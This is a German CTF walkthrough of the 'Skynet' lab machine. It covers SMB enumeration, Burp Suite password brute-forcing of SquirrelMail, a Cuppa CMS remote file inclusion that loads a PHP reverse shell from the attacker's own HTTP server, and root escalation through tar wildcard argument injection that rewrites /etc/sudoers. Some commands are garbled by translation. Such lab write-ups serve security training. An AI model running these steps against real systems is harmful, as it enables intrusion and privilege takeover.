Intro
Die Skynet-Maschine deckt die folgenden Themen ab:
- Anfälliger smb-Server
- Squirrelmail brute-forcing mit Burpsuite
- Lokale/entfernte Dateieinbindung
- Ausnutzung von Wildcards unter Linux
Aufzählung
Nmap
Beginnen Sie mit einem Nmap-Scan:
PORT ZUSTAND SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; Protokoll 2.0) | ssh-hostkey: | 2048 99:23:31:bb:b1:e9:43:b7:56:94:4c:b9:e8:21:46:c5 (RSA) | 256 57:c0:75:02:71:2d:19:31:83:db:e4:fe:67:96:68:cf (ECDSA) |_ 256 46:fa:4e:fc:10:a5:4f:57:57:d0:6d:54:f6:c3:4d:fe (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-methods: |_ Unterstützte Methoden: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Skynet 110/tcp öffnen pop3 Dovecot pop3d |_pop3-capabilities: RESP-CODES PIPELINING TOP UIDL AUTH-RESP-CODE SASL CAPA 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (Arbeitsgruppe: WORKGROUP) 143/tcp open imap Dovecot imapd |_imap-capabilities: Pre-login OK LOGIN-REFERRALS IMAP4rev1 ID more ENABLE listed LOGINDISABLEDA0001 have IDLE post-login LITERAL+ SASL-IR capabilities 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (Arbeitsgruppe: WORKGROUP) Dienstinfo: Host: SKYNET; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Wir haben interessante offene Ports entdeckt: einen Pop3-Server an Port 110, einen IMAP-Mailserver an Port 143, einen offenen http-Server an seinem Standardport und einen Samba-Server, der das SMB-Protokoll unterstützt. SMB hat zwei Ports, 445 und 139.
Ursprünglich lief SMB über NetBIOS unter Verwendung von Port 139, aber da NetBIOS eine ältere Transportschicht für Windows-Computer ist, wurde Port 445 nach Windows 2000 an dessen Stelle gesetzt. Jetzt läuft es auf einem TCP-Stack, der es SMB ermöglicht, über das Internet zu arbeiten.
Gobuster
Der http-Webserver enthält nichts Interessantes, also suchen wir mit dem Brute-Force-Verfahren nach anderen Verzeichnissen:
=============================================================== http://10.10.176.19/admin (Status: 403) http://10.10.176.19/css (Status: 403) http://10.10.176.19/js (Status: 403) http://10.10.176.19/config (Status: 403) http://10.10.176.19/ai (Status: 403) http://10.10.176.19/squirrelmail (Status: 200) ===============================================================
Wir haben eine Anmeldeseite für SquirrelMail entdeckt, brauchen aber noch Zugangsdaten.
Samba
Lassen Sie uns den Samba-Server mit Nmap-Skripten auflisten:
PORT STATE SERVICE 445/tcp open microsoft-ds Ergebnisse des Host-Skripts: | smb-enum-shares: | account_used: Gast .10.176.19\IPC$: | Typ: STYPE_IPC_HIDDEN | Kommentar: IPC-Dienst (Skynet-Server (Samba, Ubuntu)) | Benutzer: 2 | Max. Benutzer:
Anonymer Zugriff scheint erlaubt zu sein; fügen wir in unseren Notizen auch den Benutzer „milesdyson“ hinzu.
Eines der Protokolle enthält interessante Passwörter. Lassen Sie uns die Datei zur späteren Verwendung lokal speichern.
Oben haben wir eine SMB-Freigabe mit dem Namen milesdyson gefunden; mit diesen Informationen können wir den Mailserver aushebeln.
Ausbeutung
Burpsuite
1. Erfassen der Anfrage in Burpsuite
2. An Eindringling senden (Strg+I)
3. Kennwortfeld im Bereich/Position für Brute-Forcing hinzufügen
4. Wählen Sie den Angriffstyp Sniper, laden Sie die Datei mit den gefundenen Passwörtern und starten Sie den Angriff.
5. Achten Sie auf HTTP-Antwortcodes, die sich von den anderen abheben
Jetzt, wo wir das Passwort haben, können wir uns einloggen und prüfen, was wir sonst noch finden können:
Das ist das Passwort für die Freigabe unseres Benutzers; wir können es verwenden, um auf seine Samba-Freigabe zuzugreifen:
smb: \notes\> ls . D 0 Tue Sep 17 11:18:40 2019 .. D 0 Tue Sep 17 11:05:47 2019 3.01 Suche.md N 65601 Tue Sep 17 11:01:29 2019 4.01 Agentenbasierte Modelle.md N 5683 Tue Sep 17 11:01:29 2019 2.08 In der Praxis.md N 7949 Tue Sep 17 11:01:29 2019 0.00 Cover.md N 3114 Tue Sep 17 11:01:29 2019 1.02 Lineare Algebra.md N 70314 Tue Sep 17 11:01:29 2019 wichtig.txt N 117 Tue Sep 17 11:18:39 2019 6.01 pandas.md N 9221 Tue Sep 17 11:01:29 2019 3.00 Künstliche Intelligenz.md N 33 Tue Sep 17 11:01:29 2019 2.01 Übersicht.md N 1165 Tue Sep 17 11:01:29 2019 ... Aufforderung rekursieren mget *
Das Öffnen der Datei important.txt offenbart ein verstecktes Verzeichnis:
1. Hinzufügen von Funktionen zum Beta-CMS /45kra24zxs28v3yd 2. Arbeite an T-800 Modell 101 Blaupausen 3. Verbringe mehr Zeit mit meiner Frau
Schauen wir uns das CMS in diesem versteckten Verzeichnis an:
Es gibt nicht viel zu sehen, aber wahrscheinlich gibt es eine Anmeldeseite, da es sich um ein Content Management System (CMS) handelt; lassen Sie uns nach anderen Verzeichnissen suchen.
http://10.10.167.244/45kra24zxs28v3yd/administrator (Status: 200)
Wir haben die Anmeldeseite gefunden:
Ein Blick in den Quellcode gibt keinen Aufschluss über die CMS-Version. Ich habe noch in searchsploit nach etwas Interessantem gesucht:
------------------------------------------------------------------------------ --------------------------------- Exploit-Titel | Pfad ------------------------------------------------------------------------------ --------------------------------- Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion | php/webapps/25971.txt ------------------------------------------------------------------------------ ---------------------------------
Es handelt sich um eine RFI/LFI-Schwachstelle, was bedeutet, dass wir mit dieser Schwachstelle lokale oder entfernte PHP-Dateien (meistens) einschließen oder Nicht-PHP-Dateien lesen können. Bei LFI muss der Angreifer das bösartige Skript auf den Zielserver hochladen, damit es lokal ausgeführt werden kann.
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync Spiele:x:5:60:Spiele:/usr/Spiele:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin ...
Nun wollen wir sie benutzen, um eine umgekehrte Shell zu erhalten. Zuerst müssen wir einen Listener starten, dann den lokalen http-Server und anschließend das PHP-Skript von dort aus aufrufen:
┌──(kali㉿kali)-[~] └─$ python3 -m http.server 5300
┌──(kali㉿kali)-[~] └─$ http://10.10.167.244/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.8.152.221:5300/revsh.php
Wenn Sie Kali Linux verwenden, sollten Sie ein Reverse-PHP-Skript lokal im folgenden Ordner zur Verfügung haben:
/usr/share/webshells/php/php-reverse-shell.php
. Kopieren Sie es und ändern Sie die IP-Adresse und die Portnummer, mit der Sie sich wieder verbinden wollen.
Jetzt, wo wir das Benutzerflag haben. Eskalieren wir die Privilegien!
Privilegieneskalation
Wildcard ausnutzen
Ich habe keine SUID-Bit-fähigen Binärdateien gefunden. Ich habe versucht, die etc/shadow
Datei, ohne Erfolg. Nach einigen weiteren Aufzählungen habe ich einen ungewöhnlichen Cronjob gefunden, der jede Minute läuft:
# /etc/crontab: systemweite crontab # Anders als bei jeder anderen crontab müssen Sie nicht den Befehl `crontab' # ausführen, um die neue Version zu installieren, wenn Sie diese Datei # und Dateien in /etc/cron.d bearbeiten. Diese Dateien enthalten auch Felder für Benutzernamen, # die in keinem der anderen Crontabs vorhanden sind. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command */1 * * * * root /home/milesdyson/backups/backup.sh 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) #
Schauen wir es uns an:
/bin/bash
ruft eine Shell als root auf, wie in
etc/crontab
auf, wechselt dann in das Verzeichnis /var/www/html
und erstellt ein Backup/Archiv von allem, was sich in diesem Verzeichnis befindet, mit
tar
.
Das Sternchen am Ende des tar-Befehls ist als Platzhalter bekannt und bedeutet „alle“. Das Sternchen kann für verschiedene Zwecke verwendet werden, z. B. ls *.py
das heißt, alle Dateien mit der .py
Erweiterung. Alles, was wir in /var/www/html ablegen, wird zu der von tar
erzeugten komprimierten Datei hinzugefügt.
Es gibt mehrere Möglichkeiten, dies auszunutzen, nehmen wir die einfachste. Wir fügen uns in die Liste der etc/sudoers
Datei und so können wir jeden Befehl mit sudo ausführen, wie z. B. sudo bash
, um eine Root-Shell zu erhalten. In einem einfachen Befehl dargestellt, ist dies das, was wir zu erreichen versuchen:
Um die folgenden beiden Befehle, die für die Privilegienerweiterung verwendet werden, besser zu verstehen, schauen wir uns die Handbuchseite von tar an:
Informative Ausgabe --checkpoint[=N] Anzeige von Fortschrittsmeldungen für jeden N-ten Datensatz (Standard 10). --checkpoint-action=ACTION Führen Sie ACTION an jedem Prüfpunkt aus.
Der Platzhalter bedeutet, dass wir eine einfache Argumentinjektion durchführen können, indem wir die benötigten Argumente als Dateinamen schreiben und Checkpoint-Aktionen zur Ausführung von Befehlen verwenden.
$ echo 'echo "www-data ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > root.sh
$ echo "var/www/html" > "--checkpoint-action=exec=sh root.sh"
$ echo "var/www/html" > --checkpoint=1
$ sudo bash whoami root
Wenn sie in einfache Anführungszeichen gesetzt werden (
'
), hat kein Zeichen in dem einfachen Anführungszeichen eine besondere Bedeutung. Während doppelte Anführungszeichen ("
) erlauben es der Shell, das Dollarzeichen ($
), Backtick(`), Backslash(\
) und Ausrufezeichen(!
).
0 Kommentare